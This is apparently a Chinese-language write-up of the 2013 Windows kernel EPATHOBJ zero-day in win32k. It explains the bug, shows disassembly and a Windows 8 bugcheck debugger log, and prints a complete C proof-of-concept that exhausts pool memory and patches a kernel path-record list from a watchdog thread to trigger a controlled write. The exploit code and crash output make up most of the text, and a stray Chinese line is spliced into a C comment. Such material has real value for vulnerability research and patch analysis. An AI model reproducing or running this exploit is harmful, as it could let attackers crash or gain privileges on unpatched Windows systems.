Windows内核EPATHOBJ 0day漏洞是通过对PATHALLOC()进行内存压力测试爆出的,首先利用PATHREC>指向相同的的用户空间PATHREC EPATHOBJ::bFlatten它会”自旋”进行无限链表遍历。
如:PathRecord->next = PathRecord;
虽然它会自旋,但它会通过另一个线程池来打补丁(pprFlattenRec)到列表中的节点(因为它是在用户空间)。
首先,创建一个”监控线程( watchdog)”,atomically补丁列表,因为pprFlattenRec过早退出,bug不能被利用会导致HeavyAllocPool
pprFlattenRec :.text:BFA122B8 call newpathrec ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong) .text:BFA122BD cmp eax, 1 ; Check for failure .text:BFA122C0 jz short continue .text:BFA122C2 xor eax, eax ; Exit early .text:BFA122C4 jmp early_exit
所以要创建一个这样的节点列表:
PathRecord->Next = PathRecord;PathRecord->Flags = 0;
然后 EPATHOBJ::bFlatten()自旋:
BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this){ /* ... */ for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext ) { if ( ppr->flags & PD_BEZIER ) { ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr); } } /* ... */}
可以先清掉另一个线程,然后再进行线程修复(因为在userspace是可以做到的)来触发该漏洞
/ / EPATHOBJ的:: bFlatten()
第一个pprFlattenRec代码块:
if ( pprNew->pprPrev ) pprNew->pprPrev->pprnext = pprNew;写入 0xCCCCCCCC: DWORD WINAPI WatchdogThread(LPVOID Parameter){ ## 此程序超时会等待一个mutex对象,然后修补受损的链表指向一个漏洞。 LogMessage(L_INFO, “Watchdog thread %u waiting on Mutex () %p”, GetCurrentThreadId(), Mutex); if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) { ## 使主(main)线程无法调用FlattenPath(), ## 因为内核EPATHOBJ::bFlatten()自旋可以被清理(clear). ## 然后打补丁列表来触发我们的exploit. while (NumRegion–) DeleteObject(Regions[NumRegion]); LogMessage(L_ERROR, “InterlockedExchange(%p, %p);”, &PathRecord->next, &ExploitRecord); InterlockedExchangePointer(&PathRecord->next, &ExploitRecord); } else { LogMessage(L_ERROR, “Mutex object did not timeout, list not patched”); } return 0;} PathRecord->next = PathRecord;PathRecord->prev = (PVOID)(0×42424242);PathRecord->flags = 0;ExploitRecord.next = NULL;ExploitRecord.prev = 0xCCCCCCCC;ExploitRecord.flags = PD_BEZIERS;
在Win 8下的输出:
kd> g ******************************************************************************** ** Bugcheck Analysis ** ********************************************************************************Use !analyze -v to get detailed debugging information.BugCheck 50, {cccccccc, 1, 8f18972e, 2}*** WARNING: Unable to verify checksum for ComplexPath.exe *** ERROR: Module load completed but symbols could not be loaded for ComplexPath.exe Probably caused by : win32k.sys ( win32k!EPATHOBJ::pprFlattenRec+82 )Followup: MachineOwner--------- nt!RtlpBreakWithStatusInstruction:810f46f4 cc int 3 kd> kv ChildEBP RetAddr Args to Child a03ab494 8111c87d 00000003 c17b60e1 cccccccc nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0]) a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt!KiBugCheckDebugBreak+0x1c (FPO: [Non-Fpo]) a03ab8b8 810f30ba 00000050 cccccccc 00000001 nt!KeBugCheck2+0x655 (FPO: [6,239,4]) a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt!KiBugCheck2+0xc6 a03ab8fc 811a2816 00000050 cccccccc 00000001 nt!KeBugCheckEx+0x19 a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ?? ::FNODOBFM::`string'+0x31868 a03aba14 8116c4e4 00000001 cccccccc 00000000 nt!MmAccessFault+0x42d (FPO: [4,37,4]) a03aba14 8f18972e 00000001 cccccccc 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ a03aba2c) a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 win32k!EPATHOBJ::pprFlattenRec+0x82 (FPO: [Non-Fpo]) a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 win32k!EPATHOBJ::bFlatten+0x1f (FPO: [0,1,0]) a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k!NtGdiFlattenPath+0x61 (FPO: [1,15,4]) a03abc08 776d7174 1c010779 0016fd18 776d7174 nt!KiFastCallEntry+0x12c (FPO: [0,3] TrapFrame @ a03abc14)0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll!KiFastSystemCallRet (FPO: [0,0,0])0016fcf8 0124147f 1c010779 00000040 00000000 GDI32!NtGdiFlattenPath+0xa (FPO: [1,0,0]) WARNING: Stack unwind information not available. Following frames may be wrong.0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath+0x147f0016fd60 76ee1866 7f0de000 0016fdb0 77716911 ComplexPath+0x1ade0016fd6c 77716911 7f0de000 bc1d7832 00000000 KERNEL32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])0016fdb0 777168bd ffffffff 7778560a 00000000 ntdll!__RtlUserThreadStart+0x4a (FPO: [SEH])0016fdc0 00000000 01241b5b 7f0de000 00000000 ntdll!_RtlUserThreadStart+0x1c (FPO: [Non-Fpo]) kd> .trap a03aba2c ErrCode = 00000002 eax=cccccccc ebx=80206014 ecx=80206008 edx=85ae1224 esi=0124eba0 edi=a03abbd8 eip=8f18972e esp=a03abaa0 ebp=a03abbac iopl=0 nv up ei ng nz na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286 win32k!EPATHOBJ::pprFlattenRec+0x82:8f18972e 8918 mov dword ptr [eax],ebx ds:0023:cccccccc=???????? kd> vertarget Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible Product: WinNt, suite: TerminalServer SingleUserTSBuilt by: 9200.16581.x86fre.win8_gdr.130410-1505Machine Name:Kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48Debug session time: Mon May 20 14:17:20.259 2013 (UTC - 7:00)System Uptime: 0 days 0:02:30.432 kd> .bugcheck Bugcheck code 00000050Arguments cccccccc 00000001 8f18972e 00000002
以下是示例代码POC:
#ifndef WIN32_NO_STATUS # define WIN32_NO_STATUS#endif#include <windows.h>#include <assert.h>#include <stdio.h>#include <stddef.h>#include <winnt.h>#ifdef WIN32_NO_STATUS # undef WIN32_NO_STATUS#endif#include <ntstatus.h>#pragma comment(lib, "gdi32")#pragma comment(lib, "kernel32")#pragma comment(lib, "user32")#define MAX_POLYPOINTS (8192 * 3)#define MAX_REGIONS 8192#define CYCLE_TIMEOUT 10000//// win32k!EPATHOBJ::pprFlattenRec uninitialized Next pointer testcase.//// Tavis Ormandy <taviso () cmpxchg8b com>, March 2013// POINT Points[MAX_POLYPOINTS]; BYTE PointTypes[MAX_POLYPOINTS]; HRGN Regions[MAX_REGIONS]; ULONG NumRegion; HANDLE Mutex;// Log levels.typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL; BOOL LogMessage(LEVEL Level, PCHAR Format, ...);// Copied from winddi.h from the DDK#define PD_BEGINSUBPATH 0x00000001#define PD_ENDSUBPATH 0x00000002#define PD_RESETSTYLE 0x00000004#define PD_CLOSEFIGURE 0x00000008#define PD_BEZIERS 0x00000010typedef struct _POINTFIX { ULONG x; ULONG y;} POINTFIX, *PPOINTFIX;// Approximated from reverse engineering.typedef struct _PATHRECORD { struct _PATHRECORD *next; struct _PATHRECORD *prev; ULONG flags; ULONG count; POINTFIX points[0];} PATHRECORD, *PPATHRECORD; PPATHRECORD PathRecord; PATHRECORD ExploitRecord; DWORD WINAPI WatchdogThread(LPVOID Parameter){ // This routine waits for a mutex object to timeout, then patches the // compromised linked list to point to an exploit. We need to do this. LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex () %p", GetCurrentThreadId(), Mutex); if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) { // It looks like the main thread is stuck in a call to FlattenPath(), // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean // up, and then patch the list to trigger our exploit. while (NumRegion--) DeleteObject(Regions[NumRegion]); LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord->next, &ExploitRecord); InterlockedExchangePointer(&PathRecord->next, &ExploitRecord); } else { LogMessage(L_ERROR, "Mutex object did not timeout, list not patched"); } return 0;}int main(int argc, char **argv){ HANDLE Thread; HDC Device; ULONG Size; HRGN Buffer; ULONG PointNum; ULONG Count; // Create our PATHRECORD in userspace we will get added to the EPATHOBJ // pathrecord chain. PathRecord = VirtualAlloc(NULL, sizeof(PATHRECORD), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); LogMessage(L_INFO, "Alllocated userspace PATHRECORD () %p", PathRecord); // Initialise with recognisable debugging values. FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC); PathRecord->next = PathRecord; PathRecord->prev = (PVOID)(0x42424242); // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from 需要从EPATHOBJ::pprflattenRec()键入PD——BEZIERS,这样就可以触发无限循环。 // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite // loop in EPATHOBJ::bFlatten(). PathRecord->flags = 0; LogMessage(L_INFO, " ->next @ %p", PathRecord->next); LogMessage(L_INFO, " ->prev @ %p", PathRecord->prev); LogMessage(L_INFO, " ->flags @ %u", PathRecord->flags); ExploitRecord.next = NULL; ExploitRecord.prev = 0xCCCCCCCC; ExploitRecord.flags = PD_BEZIERS; LogMessage(L_INFO, "Creating complex bezier path with %#x", (ULONG)(PathRecord) >> 4); // Generate a large number of Bezier Curves made up of pointers to our // PATHRECORD object. for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) { Points[PointNum].x = (ULONG)(PathRecord) >> 4; Points[PointNum].y = (ULONG)(PathRecord) >> 4; PointTypes[PointNum] = PT_BEZIERTO; } // Switch to a dedicated desktop so we don't spam the visible desktop with // our Lines (Not required, just stops the screen from redrawing slowly). SetThreadDesktop(CreateDesktop("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL)); Mutex = CreateMutex(NULL, TRUE, NULL); // Get a handle to this Desktop. Device = GetDC(NULL); // Spawn a thread to cleanup Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL); // We need to cause a specific AllocObject() to fail to trigger the // exploitable condition. To do this, I create a large number of rounded // rectangular regions until they start failing. I don't think it matters // what you use to exhaust paged memory, there is probably a better way. // // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on // failure. Seriously, do some damn QA Microsoft, wtf. for (Size = 1 << 26; Size; Size >>= 1) { while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1)) NumRegion++; } LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion); LogMessage(L_INFO, "Flattening curves..."); // Begin filling the free list with our points. for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) { BeginPath(Device); PolyDraw(Device, Points, PointTypes, PointNum); EndPath(Device); FlattenPath(Device); FlattenPath(Device); EndPath(Device); } LogMessage(L_INFO, "No luck, cleaning up"); // If we reach here, we didn't trigger the condition. Let the other thread know. ReleaseMutex(Mutex); ReleaseDC(NULL, Device); WaitForSingleObject(Thread, INFINITE); return 0;}// A quick logging routine for debug messages. BOOL LogMessage(LEVEL Level, PCHAR Format, ...){ CHAR Buffer[1024] = {0}; va_list Args; va_start(Args, Format); vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args); va_end(Args); switch (Level) { case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break; case L_INFO: fprintf(stdout, "[+] %s\n", Buffer); break; case L_WARN: fprintf(stderr, "[*] %s\n", Buffer); break; case L_ERROR: fprintf(stderr, "[!] %s\n\a", Buffer); break; } fflush(stdout); fflush(stderr); return TRUE;}